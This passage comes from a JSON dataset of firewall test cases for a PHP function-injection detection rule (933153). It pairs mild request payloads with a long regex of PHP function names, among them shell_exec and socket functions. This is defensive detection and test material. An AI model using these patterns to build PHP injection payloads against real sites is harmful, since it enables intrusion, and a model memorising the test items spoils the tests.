nt|td(?:_(?:attlist|e(?:lement|ntity)))?)|element|pi)|f(?:lush|ull_end_element)|o(?:pen_(?:memory|uri)|utput_memory)|s(?:et_indent(?:_string)?|tart_(?:(?:attribute|element)(?:_ns)?|c(?:data|omment)|d(?:ocument|td(?:_(?:attlist|e(?:lement|ntity)))?)|pi))|text|write_(?:(?:attribute|element)(?:_ns)?|c(?:data|omment)|dtd(?:_(?:attlist|e(?:lement|ntity)))?|pi|raw)))|z(?:end_(?:c(?:all_method|reate_unterminated_string)|get_(?:current_func_name|map_ptr_last|unit_enum)|iterable(?:_legacy)?|leak_(?:bytes|variable)|(?:number_or_string|string_or_(?:object|stdclass))(?:_or_null)?|t(?:e(?:rminate_string|st_(?:(?:(?:nullable_)?array|void)_return|c(?:ompile_string|r(?:ash|eate_throwing_resource))|deprecated|f(?:ill_packed_array|unc)|is_string_marked_as_valid_utf8|(?:override_libxml_global_sta|parameter_with_attribu)te|zend_(?:call_stack_(?:get|use_all)|ini_(?:parse_u?quantity|str))))|hread_id)|version|weakmap_(?:attach|dump|remove))|ip_(?:close|entry_(?:c(?:lose|ompress(?:edsize|ionmethod))|(?:filesiz|nam)e|open|read)|open|read)|lib_(?:(?:de|en)cod|get_coding_typ)e)|ZendTestNS2_(?:ZendSubNS_)?namespaced_(?:deprecated_)?func)[\\s\\x0b]*\\(", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933153", "test_description": "non-dangerous PHP functions, removed to reduce FP" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "zend_test_is_string_marked_as_valid_utf8(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:r(?:a(?:d2deg|ndom_(?:bytes|int)|wurl(?:de|en)code)|e(?:a(?:d(?:dir|(?:gz)?file|lin(?:e(?:_(?:(?:(?:add|list|write)_histor|re(?:ad_histor|displa))y|c(?:allback_(?:handler_(?:install|remove)|read_char)|lear_history|ompletion_function)|info|on_new_line))?|k))|lpath(?:_cache_(?:get|size))?)|gister_(?:shutdown|tick)_function|s(?:ourcebundle_(?:c(?:ount|reate)|get(?:_error_(?:cod|messag)e)?|locales)|tore_e(?:rror|xception)_handler)|wind(?:dir)?)|mdir|sort)|s(?:api_windows_(?:cp_(?:conv|[gs]et|is_utf8)|(?:generate_ctrl_even|vt100_suppor)t|set_ctrl_handler)|candir|e(?:m_(?:(?:acquir|re(?:leas|mov))e|get)|ssion_(?:(?:abor|unse)t|c(?:ache_(?:expire|limiter)|reate_id)|de(?:code|stroy)|(?:encod|(?:module_)?nam|write_clos)e|g(?:c|et_cookie_params)|id|re(?:g(?:enerate_id|ister_shutdown)|set)|s(?:ave_path|et_(?:cookie_params|save_handler)|ta(?:rt|tus)))|t(?:_(?:e(?:rror|xception)_handler|include_path|time_limit)|(?:(?:raw)?cooki|local)e))|h(?:a1(?:_file)?|ell_exec|m(?:_(?:(?:at|de)tach|(?:(?:ge|pu)t|has)_var|remove(?:_var)?)|op_(?:(?:clos|(?:dele|wri)t|siz)e|open|read)))|i(?:m(?:ilar_text|plexml_(?:import_dom|load_(?:file|string)))|nh)|nmp(?:[23]_(?:get(?:next)?|(?:real_)?walk|set)|_(?:get_(?:quick_print|valueretrieval)|read_mib|set_(?:(?:(?:enum|quick)_prin|oid_output_forma)t|valueretrieval))|get(?:next)?|(?:real)?walk|set)|o(?:cket_(?:a(?:ccept|ddrinfo_(?:bind|connect|explain|lookup)|tmark)|bind|c(?:l(?:ear_error|ose)|msg_space|onnect|reate(?:_(?:listen|pair))?)|(?:ex|im)port_stream|get(?:_option|(?:peer|sock)name)|l(?:ast_error|isten)|re(?:ad|cv(?:from|msg)?)|s(?:e(?:lect|nd(?:msg|to)?|t_(?:(?:non)?block|option))|hutdown|trerror)|w(?:rite|saprotocol_info_(?:(?:ex|im)port|release)))|dium_(?:(?:ad|(?:un)?pa)d|b(?:ase642bin|in2(?:base64|hex))|c(?:ompare|rypto_(?:a(?:ead_(?:aes256gcm_(?:(?:de|en)crypt|is_available|keygen)|chacha20poly1305_(?:(?:de|en)crypt|ietf_(?:(?:de|en)crypt|keygen)|keygen)|xchacha20poly1305_ietf_(?:(?:de|en)crypt|keygen))|uth(?:_(?:keygen|verify))?)|box(?:_(?:keypair(?:_from_secretkey_and_publickey)?|open|publickey(?:_from_secretkey)?|se(?:al(?:_open)?|cretkey|ed_keypair)))?|core_ristretto255_(?:add|from_hash|is_valid_point|random|s(?:calar_(?:add|(?:complemen|inver)t|mul|negate|r(?:andom|educe)|sub)|ub))|generichash(?:_(?:final|init|keygen|update))?|k(?:df_(?:derive_from_key|keygen)|x_(?:client_session_keys|keypair|publickey|se(?:cretkey|ed_keypair|rver_session_keys)))|pwhash(?:_s(?:cryptsalsa208sha256(?:_str(?:_verify)?)?|tr(?:_(?:needs_rehash|verify))?))?|s(?:calarmult(?:_ristretto255(?:_base)?)?|ecret(?:box(?:_(?:keyg|op)en)?|stream_xchacha20poly1305_(?:(?:init_)?pu(?:ll|sh)|keygen|rekey))|horthash(?:_keygen)?|ign(?:_(?:(?:verify_)?detached|ed25519_[ps]k_to_curve25519|keypair(?:_from_secretkey_and_publickey)?|open|publickey(?:_from_secretkey)?|se(?:cretkey|ed_keypair)))?|tream(?:_(?:keygen|x(?:chacha20(?:_(?:keygen|xor(?:_ic)?))?|or)))?)))|hex2bin|increment|mem(?:cmp|zero))|undex)|p(?:l_(?:autoload(?:_(?:call|(?:extens|funct)ions|(?:un)?register))?|classes|object_(?:hash|id))|rintf)|qrt|scanf|tr(?:_(?:contains|(?:decreme|word_cou)nt|ends_with|getcsv|i(?:ncrement|replace)|pad|r(?:epeat|ot13)|s(?:huffle|plit|tarts_with))|c(?:(?:asec)?mp|oll|spn)|eam_(?:bucket_(?:(?:ap|pre)pend|make_writeable|new)|co(?:ntext_(?:create|get_(?:default|(?:option|param)s)|set_(?:default|options?|params))|py_to_stream)|filter_(?:(?:ap|pre)pend|re(?:gister|move))|get_(?:(?:(?:conten|transpor)t|(?:filt|wrapp)er)s|line|meta_data)|is(?:_local|atty)|resolve_include_path|s(?:e(?:lect|t_(?:blocking|chunk_size|(?:read|write)_buffer|timeout))|ocket_(?:(?:accep|clien)t|enable_crypto|get_name|pair|recvfrom|s(?:e(?:ndto|rver)|hutdown))|upports_lock)|wrapper_(?:re(?:gister|store)|unregister))|ftime|i(?:p(?:c?slashe|o)s|str)|n(?:at)?c(?:asec)?mp|p(?:brk|time)|r(?:chr|ev|i?pos)|s(?:pn|tr)|t(?:ok|r)|val)|ubstr_(?:co(?:mpare|unt)|replace)|ys_get(?:_temp_dir|loadavg))|t(?:anh|e(?:mpnam|st[12]|xtdomain)|i(?:dy_(?:(?:access|error|warning)_count|c(?:lean_repair|onfig_count)|diagnose|get(?:_(?:body|config|error_buffer|h(?:ead|tml(?:_ver)?)|o(?:pt_doc|utput)|r(?:elease|oot)|status)|opt)|is_x(?:ht)?ml|(?:parse|repair)_(?:file|string))|me(?:_(?:nanosleep|sleep_until)|zone_(?:(?:(?:abbreviation|identifier)s_lis|(?:(?:locat|vers)ion|transitions)_ge)t|name_(?:from_abbr|get)|o(?:ffset_get|pen))))|mpfile|oken_(?:get_all|name)|r(?:a(?:it_exists|nsliterator_(?:create(?:_(?:from_rules|inverse))?|(?:get_error_(?:cod|messag)|transliterat)e|list_ids))|igger_error))|u(?:[ak]sort|cwords|mask|n(?:i(?:qi|xtoj)d|register_tick_function)|(?:rlde|tf8_(?:de|en))code|s(?:e_soap_error_handler|leep|ort))|v(?:ar(?:_(?:dump|export)|iant_(?:a(?:bs|[dn]d)|c(?:as?t|mp)|d(?:ate_(?:from|to)_timestamp|iv)|eqv|fix|get_type|i(?:div|mp|nt)|m(?:od|ul)|n(?:eg|ot)|x?or|pow|round|s(?:et(?:_type)?|ub)))|ersion_compare|[fs]?printf)|wordwrap|xml(?:_(?:error_string|get_(?:current_(?:byte_index|(?:column|line)_number)|error_code)|parse(?:_into_struct|r_(?:create(?:_ns)?|free|[gs]et_option))?|set_(?:(?:character_data|default|e(?:lement|nd_namespace_decl|xternal_entity_ref)|(?:notation|start_namespace|unparsed_entity)_decl|processing_instruction)_handler|object))|writer_(?:end_(?:attribute|c(?:data|omment)|d(?:ocument|td(?:_(?:attlist|e(?:lement|ntity)))?)|element|pi)|f(?:lush|ull_end_element)|o(?:pen_(?:memory|uri)|utput_memory)|s(?:et_indent(?:_string)?|tart_(?:(?:attribute|element)(?:_ns)?|c(?:data|omment)|d(?:ocument|td(?:_(?:attlist|e(?:lement|ntity)))?)|pi))|text|write_(?:(?:attribute|element)(?:_ns)?|c(?:data|omment)|dtd(?:_(?:attlist|e(?:lement|ntity)))?|pi|raw)))|z(?:end_(?:c(?:all_method|reate_unterminated_string)|get_(?:current_func_name|map_ptr_last|unit_enum)|iterable(?:_legacy)?|leak_(?:bytes|variable)|(?:number_or_string|string_or_(?:object|stdclass))(?:_or_null)?|t(?:e(?:rminate_string|st_(?:(?:(?:nullable_)?array|void)_return|c(?:ompile_string|r(?:ash|eate_throwing_resource))|deprecated|f(?:ill_packed_array|unc)|is_string_marked_as_valid_utf8|(?:override_libxml_global_sta|parameter_with_attribu)te|zend_(?:call_stack_(?:get|use_all)|ini_(?:parse_u?quantity|str))))|hread_id)|version|weakmap_(?:attach|dump|remove))|ip_(?:close|entry_(?:c(?:lose|ompress(?:edsize|ionmethod))|(?:filesiz|nam)e|open|read)|open|read)|lib_(?:(?:de|en)cod|get_coding_typ)e)|ZendTestNS2_(?:ZendSubNS_)?namespaced_(?:deprecated_)?func)[\\s\\x0b]*\\(", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933153", "test_description": "pmf + chain" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=zlib_get_coding_type" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:r(?:a(?:d2deg|ndom_(?:bytes|int)|wurl(?:de|en)code)|e(?:a(?:d(?:dir|(?:gz)?file|lin(?:e(?:_(?:(?:(?:add|list|write)_histor|re(?:ad_histor|displa))y|c(?:allback_(?:handler_(?:install|remove)|read_char)|lear_history|ompletion_function)|info|on_new_line))?|k))|lpath(?:_cache_(?:get|size))?)|gister_(?:shutdown|tick)_function|s(?:ourcebundle_(?:c(?:ount|reate)|get(?:_error_(?:cod|messag)e)?|locales)|tore_e(?:rror|xception)_handler)|wind(?:dir)?)|mdir|sort)|s(?:api_windows_(?:cp_(?:conv|[gs]et|is_utf8)|(?:generate_ctrl_even|vt100_suppor)t|set_ctrl_handler)|candir|e(?:m_(?:(?:acquir|re(?:leas|mov))e|get)|ssion_(?:(?:abor|unse)t|c(?:ache_(?:expire|limiter)|reate_id)|de(?:code|stroy)|(?:encod|(?:module_)?nam|write_clos)e|g(?:c|et_cookie_params)|id|re(?:g(?:enerate_id|ister_shutdown)|set)|s(?:ave_path|et_(?:cookie_params|save_handler)|ta(?:rt|tus)))|t(?:_(?:e(?:rror|xception)_handler|include_path|time_limit)|(?:(?:raw)?cooki|local)e))|h(?:a1(?:_file)?|ell_exec|m(?:_(?:(?:at|de)tach|(?:(?:ge|pu)t|has)_var|remove(?:_var)?)|op_(?:(?:clos|(?:dele|wri)t|siz)e|open|read)))|i(?:m(?:ilar_text|plexml_(?:import_dom|load_(?:file|string)))|nh)|nmp(?:[23]_(?:get(?:next)?|(?:real_)?walk|set)|_(?:get_(?:quick_print|valueretrieval)|read_mib|set_(?:(?:(?:enum|quick)_prin|oid_output_forma)t|valueretrieval))|get(?:next)?|(?:real)?walk|set)|o(?:cket_(?:a(?:ccept|ddrinfo_(?:bind|connect|explain|lookup)|tmark)|bind|c(?:l(?:ear_error|ose)|msg_space|onnect|reate(?:_(?:listen|pair))?)|(?:ex|im)port_stream|get(?:_option|(?:peer|sock)name)|l(?:ast_error|isten)|re(?:ad|cv(?:from|msg)?)|s(?:e(?:lect|nd(?:msg|to)?|t_(?:(?:non)?block|option))|hutdown|trerror)|w(?:rite|saprotocol_info_(?:(?:ex|im)port|release)))|dium_(?:(?:ad|(?:un)?pa)d|b(?:ase642bin|in2(?:base64|hex))|c(?:ompare|rypto_(?:a(?:ead_(?:aes256gcm_(?:(?:de|en)crypt|is_available|keygen)|chacha20poly1305_(?:(?:de|en)crypt|ietf_(?:(?:de|en)crypt|keygen)|keygen)|xchacha20poly1305_ietf_(?:(?:de|en)crypt|keygen))|uth(?:_(?:keygen|verify))?)|box(?:_(?:keypair(?:_from_secretkey_and_publickey)?|open|publickey(?:_from_secretkey)?|se(?:al(?:_open)?|cretkey|ed_keypair)))?|core_ristretto255_(?:add|from_hash|is_valid_point|random|s(?:calar_(?:add|(?:complemen|inver)t|mul|negate|r(?:andom|educe)|sub)|ub))|generichash(?:_(?:final|init|keygen|update))?|k(?:df_(?:derive_from_key|keygen)|x_(?:client_session_keys|keypair|publickey|se(?:cretkey|ed_keypair|rver_session_keys)))|pwhash(?:_s(?:cryptsalsa208sha256(?:_str(?:_verify)?)?|tr(?:_(?:needs_rehash|verify))?))?|s(?:calarmult(?:_ristretto255(?:_base)?)?|ecret(?:box(?:_(?:keyg|op)en)?|stream_xchacha20poly1305_(?:(?:init_)?pu(?:ll|sh)|keygen|rekey))|horthash(?:_keygen)?|ign(?:_(?:(?:verify_)?detached|ed25519_[ps]k_to_curve25519|keypair(?:_from_secretkey_and_publickey)?|open|publickey(?:_from_secretkey)?|se(?:cretkey|ed_keypair)))?|tream(?:_(?:keygen|x(?:chacha20(?:_(?:keygen|xor(?:_ic)?))?|or)))?)))|hex2bin|increment|mem(?:cmp|zero))|undex)|p(?:l_(?:autoload(?:_(?:call|(?:extens|funct)ions|(?:un)?register))?|classes|object_(?:hash|id))|rintf)|qrt|scanf|tr(?:_(?:contains|(?:decreme|word_cou)nt|ends_with|getcsv|i(?:ncrement|replace)|pad|r(?:epeat|ot13)|s(?:huffle|plit|tarts_with))|c(?:(?:asec)?mp|oll|spn)|eam_(?:bucket_(?:(?:ap|pre)pend|make_writeable|new)|co(?:ntext_(?:create|get_(?:default|(?:option|param)s)|set_(?:default|options?|params))|py_to_stream)|filter_(?:(?:ap|pre)pend|re(?:gister|move))|get_(?:(?:(?:conten|transpor)t|(?:filt|wrapp)er)s|line|meta_data)|is(?:_local|atty)|resolve_include_path|s(?:e(?:lect|t_(?:blocking|chunk_size|(?:read|write)_buffer|timeout))|ocket_(?:(?:accep|clien)t|enable_crypto|get_name|pair|recvfrom|s(?:e(?:ndto|rver)|hutdown))|upports_lock)|wrapper_(?:re(?:gister|store)|unregister))|ftime|i(?:p(?:c?slashe|o)s|str)|n(?:at)?c(?:asec)?mp|p(?:brk|time)|r(?:chr|ev|i?pos)|s(?:pn|tr)|t(?:ok|r)|val)|ubstr_(?:co(?:mpare|unt)|replace)|ys_get(?:_temp_dir|loadavg))|t(?:anh|e(?:mpnam|st[12]|xtdomain)|i(?:dy_(?:(?:access|error|warning)_count|c(?:lean_repair|onfig_count)|diagnose|get(?:_(?:body|config|error_buffer|h(?:ead|tml(?:_ver)?)|o(?:pt_doc|utput)|r(?:elease|oot)|status)|opt)|is_x(?:ht)?ml|(?:parse|repair)_(?:file|string))|me(?:_(?:nanosleep|sleep_until)|zone_(?:(?:(?:abbreviation|identifier)s_lis|(?:(?:locat|vers)ion|transitions)_ge)t|name_(?:from_abbr|get)|o(?:ffset_get|pen))))|mpfile|oken_(?:get_all|name)|r(?:a(?:it_exists|nsliterator_(?:create(?:_(?:from_rules|inverse))?|(?:get_error_(?:cod|messag)|transliterat)e|list_ids))|igger_error))|u(?:[ak]sort|cwords|mask|n(?:i(?:qi|xtoj)d|register_tick_function)|(?:rlde|tf8_(?:de|en))code|s(?:e_soap_error_handler|leep|ort))|v(?:ar(?:_(?:dump|export)|iant_(?:a(?:bs|[dn]d)|c(?:as?t|mp)|d(?:ate_(?:from|to)_timestamp|iv)|eqv|fix|get_type|i(?:div|mp|nt)|m(?:od|ul)|n(?:eg|ot)|x?or|pow|round|s(?:et(?:_type)?|ub)))|ersion_compare|[fs]?printf)|wordwrap|xml(?:_(?:error_string|get_(?:current_(?:byte_index|(?:column|line)_number)|error_code)|parse(?:_into_struct|r_(?:create(?:_ns)?|free|[gs]et_option))?|set_(?:(?:character_data|default|e(?:lement|nd_namespace_decl|xternal_entity_ref)|(?:notation|start_namespace|unparsed_entity)_decl|processing_instruction)_handler|object))|writer_(?:end_(?:attribute|c(?:data|omment)|d(?:ocument|td(?:_(?:attlist|e(?:lement|ntity)))?)|element|pi)|f(?:lush|ull_end_element)|o(?:pen_(?:memory|uri)|utput_memory)|s(?:et_indent(?:_string)?|tart_(?:(?:attribute|element)(?:_ns)?|c(?:data|omment)|d(?:ocument|td(?:_(?:attlist|e(?:lement|ntity)))?)|pi))|text|write_(?:(?:attribute|element)(?:_ns)?|c(?:data|omment)|dtd(?:_(?:attlist|e(?:lement|ntity)))?|pi|raw)))|z(?:end_(?:c(?:all_method|reate_unterminated_string)|get_(?:current_func_name|map_ptr_last|unit_enum)|iterable(?:_legacy)?|leak_(?:bytes|variable)|(?:number_or_string|string_or_(?:object|stdclass))(?:_or_null)?|t(?:e(?:rminate_string|st_(?:(?:(?:nullable_)?array|void)_return|c(?:ompile_string|r(?:ash|eate_throwing_resource))|deprecated|f(?:ill_packed_array|unc)|is_string_marked_as_valid_utf8|(?:override_libxml_global_sta|parameter_with_attribu)te|zend_(?:call_stack_(?:get|use_all)|ini_(?:parse_u?quantity|str))))|hread_id)|version|weakmap_(?:attach|dump|remove))|ip_(?:close|entry_(?:c(?:lose|ompress(?:edsize|ionmethod))|(?:filesiz|nam)e|open|read)|open|read)|lib_(?:(?:de|en)cod|get_coding_typ)e)|ZendTestNS2_(?:ZendSubNS_)?namespaced_(?:deprecated_)?func)[\\s\\x0b]*\\(", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933153", "test_description": "No parenthesis after keyword" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "a=sodium_add_to_recipe(foo)" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:r(?:a(?:d2deg|ndom_(?:bytes|int)|wurl(?:de|en)code)|e(?:a(?:d(?:dir|(?:gz)?file|lin(?:e(?:_(?:(?:(?:add|list|write)_histor|re(?:ad_histor|displa))y|c(?:allback_(?:handler_(?:install|remove)|read_char)|lear_history|ompletion_function)|info|on_new_line))?|k))|lpath(?:_cache_(?:get|size))?)|gister_(?:shutdown|tick)_function|s(?:ourcebundle_(?:c(?:ount|reate)|get(?:_error_(?:cod|messag)e)?|locales)|tore_e(?:rror|xception)_handler)|wind(?:dir)?)|mdir|sort)|s(?:api_windows_(?:cp_(?:conv|[gs]et|is_utf8)|(?:generate_ctrl_even|vt100_suppor)t|set_ctrl_handler)|candir|e(?:m_(?:(?:acquir|re(?:leas|mov))e|get)|ssion_(?:(?:abor|unse)t|c(?:ache_(?:expire|limiter)|reate_id)|de(?:code|stroy)|(?:encod|(?:module_)?nam|write_clos)e|g(?:c|et_cookie_params)|id|re(?:g(?:enerate_id|ister_shutdown)|set)|s(?:ave_path|et_(?:cookie_params|save_handler)|ta(?:rt|tus)))|t(?:_(?:e(?:rror|xception)_handler|include_path|time_limit)|(?:(?:raw)?cooki|local)e))|h(?:a1(?:_file)?|ell_exec|m(?:_(?:(?:at|de)tach|(?:(?:ge|pu)t|has)_var|remove(?:_var)?)|op_(?:(?:clos|(?:dele|wri)t|siz)e|open|read)))|i(?:m(?:ilar_text|plexml_(?:import_dom|load_(?:file|string)))|nh)|nmp(?:[23]_(?:get(?:next)?|(?:real_)?walk|set)|_(?:get_(?:quick_print|valueretrieval)|read_mib|set_(?:(?:(?:enum|quick)_prin|oid_output_forma)t|valueretrieval))|get(?:next)?|(?:real)?walk|set)|o(?:cket_(?:a(?:ccept|ddrinfo_(?:bind|connect|explain|lookup)|tmark)|bind|c(?:l(?:ear_error|ose)|msg_space|onnect|reate(?:_(?:listen|pair))?)|(?:ex|im)port_stream|get(?:_option|(?:peer|sock)name)|l(?:ast_error|isten)|re(?:ad|cv(?:from|msg)?)|s(?:e(?:lect|nd(?:msg|to)?|t_(?:(?:non)?block|option))|hutdown|trerror)|w(?:rite|saprotocol_info_(?:(?:ex|im)port|release)))|dium_(?:(?:ad|(?:un)?pa)d|b(?:ase642bin|in2(?:base64|hex))|c(?:ompare|rypto_(?:a(?:ead_(?:aes256gcm_(?:(?:de|en)crypt|is_available|keygen)|chacha20poly1305_(?:(?:de|en)crypt|ietf_(?:(?:de|en)crypt|keygen)|keygen)|xchacha20poly1305_ietf_(?:(?:de|en)crypt|keygen))|uth(?:_(?:keygen|verify))?)|box(?:_(?:keypair(?:_from_secretkey_and_publickey)?|open|publickey(?:_from_secretkey)?|se(?:al(?:_open)?|cretkey|ed_keypair)))?|core_ristretto255_(?:add|from_hash|is_valid_point|random|s(?:calar_(?:add|(?:complemen|inver)t|mul|negate|r(?:andom|educe)|sub)|ub))|generichash(?:_(?:final|init|keygen|update))?|k(?:df_(?:derive_from_key|keygen)|x_(?:client_session_keys|keypair|publickey|se(?:cretkey|ed_keypair|rver_session_keys)))|pwhash(?:_s(?:cryptsalsa208sha256(?:_str(?:_verify)?)?|tr(?:_(?:needs_rehash|verify))?))?|s(?:calarmult(?:_ristretto255(?:_base)?)?|ecret(?:box(?:_(?:keyg|op)en)?|stream_xchacha20poly1305_(?:(?:init_)?pu(?:ll|sh)|keygen|rekey))|horthash(?:_keygen)?|ign(?:_(?:(?:verify_)?detached|ed25519_[ps]k_to_curve25519|keypair(?:_from_secretkey_and_publickey)?|open|publickey(?:_from_secretkey)?|se(?:cretkey|ed_keypair)))?|tream(?:_(?:keygen|x(?:chacha20(?:_(?:keygen|xor(?:_ic)?))?|or)))?)))|hex2bin|increment|mem(?:cmp|zero))|undex)|p(?:l_(?:autoload(?:_(?:call|(?:extens|funct)ions|(?:un)?register))?|classes|object_(?:hash|id))|rintf)|qrt|scanf|tr(?:_(?:contains|(?:decreme|word_cou)nt|ends_with|getcsv|i(?:ncrement|replace)|pad|r(?:epeat|ot13)|s(?:huffle|plit|tarts_with))|c(?:(?:asec)?mp|oll|spn)|eam_(?:bucket_(?:(?:ap|pre)pend|make_writeable|new)|co(?:ntext_(?:create|get_(?:default|(?:option|param)s)|set_(?:default|options?|params))|py_to_stream)|filter_(?:(?:ap|pre)pend|re(?:gister|move))|get_(?:(?:(?:conten|transpor)t|(?:filt|wrapp)er)s|line|meta_data)|is(?:_local|atty)|resolve_include_path|s(?:e(?:lect|t_(?:blocking|chunk_size|(?:read|write)_buffer|timeout))|ocket_(?:(?:accep|clien)t|enable_crypto|get_name|pair|recvfrom|s(?:e(?:ndto|rver)|hutdown))|upports_lock)|wrapper_(?:re(?:gister|store)|unregister))|ftime|i(?:p(?:c?slashe|o)s|str)|n(?:at)?c(?:asec)?mp|p(?:brk|time)|r(?:chr|ev|i?pos)|s(?:pn|tr)|t(?:ok|r)|val)|ubstr_(?:co(?:mpare|unt)|replace)|ys_get(?:_temp_dir|loadavg))|t(?:anh|e(?:mpnam|st[12]|xtdomain)|i(?:dy_(?:(?:access|error|warning)_count|c(?:lean_repair|onfig_count)|diagnose|get(?:_(?:body|config|error_buffer|h(?:ead|tml(?:_ver)?)|o(?:pt_doc|utput)|r(?:elease|oot)|status)|opt)|is_x(?:ht)?ml|(?:parse|repair)_(?:file|string))|me(?:_(?:nanosleep|sleep_until)|zone_(?:(?:(?:abbreviation|identifier)s_lis|(?:(?:locat|vers)ion|transitions)_ge)t|name_(?:from_abbr|get)|o(?:ffset_get|pen))))|mpfile|oken_(?:get_all|name)|r(?:a(?:it_exists|nsliterator_(?:create(?:_(?:from_rules|inverse))?|(?:get_error_(?:cod|messag)|transliterat)e|list_ids))|igger_error))|u(?:[ak]sort|cwords|mask|n(?:i(?:qi|xtoj)d|register_tick_function)|(?:rlde|tf8_(?:de|en))code|s(?:e_soap_error_handler|leep|ort))|v(?:ar(?:_(?:dump|export)|iant_(?:a(?:bs|[dn]d)|c(?:as?t|mp)|d(?:ate_(?:from|to)_timestamp|iv)|eqv|fix|get_type|i(?:div|mp|nt)|m(?:od|ul)|n(?:eg|ot)|x?or|pow|round|s(?:et(?:_type)?|ub)))|ersion_compare|[fs]?printf)|wordwrap|xml(?:_(?:error_string|get_(?:current_(?:byte_index|(?:column|line)_number)|error_code)|parse(?:_into_struct|r_(?:create(?:_ns)?|free|[gs]et_option))?|set_(?:(?:character_data|default|e(?:lement|nd_namespace_decl|xternal_entity_ref)|(?:notation|start_namespace|unparsed_entity)_decl|processing_instruction)_handler|object))|writer_(?:end_(?:attribute|c(?:data|omment)|d(?:ocument|td(?:_(?:attlist|e(?:lement|ntity)))?)|element|pi)|f(?:lush|ull_end_element)|o(?:pen_(?:memory|uri)|utput_memory)|s(?:et_indent(?:_string)?|tart_(?:(?:attribute|element)(?:_ns)?|c(?:data|omment)|d(?:ocument|td(?:_(?:attlist|e(?:lement|ntity)))?)|pi))|text|write_(?:(?:attribute|element)(?:_ns)?|c(?:data|omment)|dtd(?:_(?:attlist|e(?:lement|ntity)))?|pi|raw)))|z(?:end_(?:c(?:all_method|reate_unterminated_string)|get_(?:current_func_name|map_ptr_last|unit_enum)|iterable(?:_legacy)?|leak_(?:bytes|variable)|(?:number_or_string|string_or_(?:object|stdclass))(?:_or_null)?|t(?:e(?:rminate_string|st_(?:(?:(?:nullable_)?array|void)_return|c(?:ompile_string|r(?:ash|eate_throwing_resource))|deprecated|f(?:ill_packed_array|unc)|is_string_marked_as_valid_utf8|(?:override_libxml_global_sta|parameter_with_attribu)te|zend_(?:call_stack_(?:get|use_all)|ini_(?:parse_u?quantity|str))))|hread_id)|version|weakmap_(?:attach|dump|remove))|ip_(?:close|entry_(?:c(?:lose|ompress(?:edsize|ionmethod))|(?:filesiz|nam)e|open|read)|open|read)|lib_(?:(?:de|en)cod|get_coding_typ)e)|ZendTestNS2_(?:ZendSubNS_)?namespaced_(?:deprecated_)?func)[\\s\\x0b]*\\(", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933153", "test_description": "rule should not trigger when there are other words before parenthesis (`sodium_add` should not be matched)" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "a=preview" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:r(?:a(?:d2deg|ndom_(?:bytes|int)|wurl(?:de|en)code)|e(?:a(?:d(?:dir|(?:gz)?file|lin(?:e(?:_(?:(?:(?:add|list|write)_histor|re(?:ad_histor|displa))y|c(?:allback_(?:handler_(?:install|remove)|read_char)|lear_history|ompletion_function)|info|on_new_line))?|k))|lpath(?:_cache_(?:get|size))?)|gister_(?:shutdown|tick)_function|s(?:ourcebundle_(?:c(?:ount|reate)|get(?:_error_(?:cod|messag)e)?|locales)|tore_e(?:rror|xception)_handler)|wind(?:dir)?)|mdir|sort)|s(?:api_windows_(?:cp_(?:conv|[gs]et|is_utf8)|(?:generate_ctrl_even|vt100_suppor)t|set_ctrl_handler)|candir|e(?:m_(?:(?:acquir|re(?:leas|mov))e|get)|ssion_(?:(?:abor|unse)t|c(?:ache_(?:expire|limiter)|reate_id)|de(?:code|stroy)|(?:encod|(?:module_)?nam|write_clos)e|g(?:c|et_cookie_params)|id|re(?:g(?:enerate_id|ister_shutdown)|set)|s(?:ave_path|et_(?:cookie_params|save_handler)|ta(?:rt|tus)))|t(?:_(?:e(?:rror|xception)_handler|include_path|time_limit)|(?:(?:raw)?cooki|local)e))|h(?:a1(?:_file)?|ell_exec|m(?:_(?:(?:at|de)tach|(?:(?:ge|pu)t|has)_var|remove(?:_var)?)|op_(?:(?:clos|(?:dele|wri)t|siz)e|open|read)))|i(?:m(?:ilar_text|plexml_(?:import_dom|load_(?:file|string)))|nh)|nmp(?:[23]_(?:get(?:next)?|(?:real_)?walk|set)|_(